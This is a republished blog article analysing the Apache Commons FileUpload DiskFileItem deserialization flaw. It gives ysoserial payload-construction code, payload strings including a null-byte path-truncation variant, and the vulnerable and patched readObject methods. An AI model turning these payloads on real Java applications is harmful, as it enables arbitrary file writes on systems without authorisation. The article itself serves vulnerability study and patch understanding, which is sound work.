How to Exploit Apache Commons FileUpload Deserialization: Payloads, Code Walkthrough, and Fixes

This article dissects the Apache Commons FileUpload DiskFileItem deserialization flaw, explains how readObject can be abused to write arbitrary files or directories depending on FileUpload and JDK versions, demonstrates payload construction with ysoserial, provides full Java code analysis, and outlines mitigation strategies.

Programmer DD
Programmer DD
Programmer DD
How to Exploit Apache Commons FileUpload Deserialization: Payloads, Code Walkthrough, and Fixes

Vulnerability Source

The flaw resides in DiskFileItem 's readObject() method, which performs file write operations during deserialization. Deserializing a crafted DiskFileItem object triggers readObject(), enabling arbitrary file or directory writes.

The impact varies with the version of commons-fileupload and the JDK:

FileUpload < 1.3.1 combined with JDK < 1.7 allows writing any file.

FileUpload < 1.3.1 with JDK ≥ 1.7 permits writing to any directory.

FileUpload ≥ 1.3.1 can only write to a specific existing directory, and the file name cannot be controlled.

Impact Scope

Versions commons-fileupload ≤ 1.3.2 are vulnerable.

Payload Construction

Testing with FileUpload 1.3 on JDK 1.8 (writes to any directory) uses the payload {"write;cve1000031;123456"}, which writes the string 123456 into the directory cve1000031. The payload is generated by ysoserial.payloads.FileUpload1::makePayload():

private static DiskFileItem makePayload(int thresh, String repoPath, String filePath, byte[] data) throws IOException, Exception {
    File repository = new File(repoPath);
    DiskFileItem diskFileItem = new DiskFileItem("testxxx", "application/octet-stream", false, "testxxx", 100000, repository);
    File outputFile = new File(filePath);
    DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
    OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
    os.write(data);
    Reflections.setField(dfos, "written", data.length);
    Reflections.setFieldValue(diskFileItem, "dfos", dfos);
    Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
    return diskFileItem;
}

When the payload is deserialized, the readObject() method writes the content to the target file:

The resulting file path is

cve1000031\upload_7b496a67_4fc4_4b14_a4e7_ff5aceb82aaf_00000000.tmp

containing 123456.

Vulnerability Analysis – Scenario 1

Environment: FileUpload 1.3 + JDK 1.7. Deserialization invokes

org.apache.commons.fileupload.disk.DiskFileItem::readObject()

.

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
    in.defaultReadObject();
    OutputStream output = getOutputStream();
    if (cachedContent != null) {
        output.write(cachedContent);
    } else {
        FileInputStream input = new FileInputStream(dfosFile);
        IOUtils.copy(input, output);
        dfosFile.delete();
        dfosFile = null;
    }
    output.close();
    cachedContent = null;
}

Vulnerability Analysis – Scenario 2

Using FileUpload 1.3 with JDK 1.6 enables arbitrary file write via a null‑character path truncation. Payload {"writeOld;cve1000031.txt;123456"} sets repoPath to cve1000031.txt\0, causing the file name after \0 to be ignored and writing 123456 directly to cve1000031.txt.

JDK 7+ adds checks for null characters in file paths, preventing this technique; earlier JDK versions allow the truncation.

Vulnerability Analysis – Scenario 3

Environment: FileUpload 1.3.1 + JDK 1.7. The patched readObject() validates the repository path, rejecting paths containing a null character or non‑directory locations, thus limiting the exploit to the temporary directory only.

if (repository != null) {
    if (repository.isDirectory()) {
        if (repository.getPath().contains("\0")) {
            throw new IOException(String.format("The repository [%s] contains a null character", repository.getPath()));
        }
    } else {
        throw new IOException(String.format("The repository [%s] is not a directory", repository.getAbsolutePath()));
    }
} else {
    throw new IOException("Repository is null");
}

Consequently, only writes to the designated temporary directory are possible.

Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

DeserializationJava SecurityApache Commons FileUploadFile Upload VulnerabilityPayload Construction
Programmer DD
Written by

Programmer DD

A tinkering programmer and author of "Spring Cloud Microservices in Action"

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.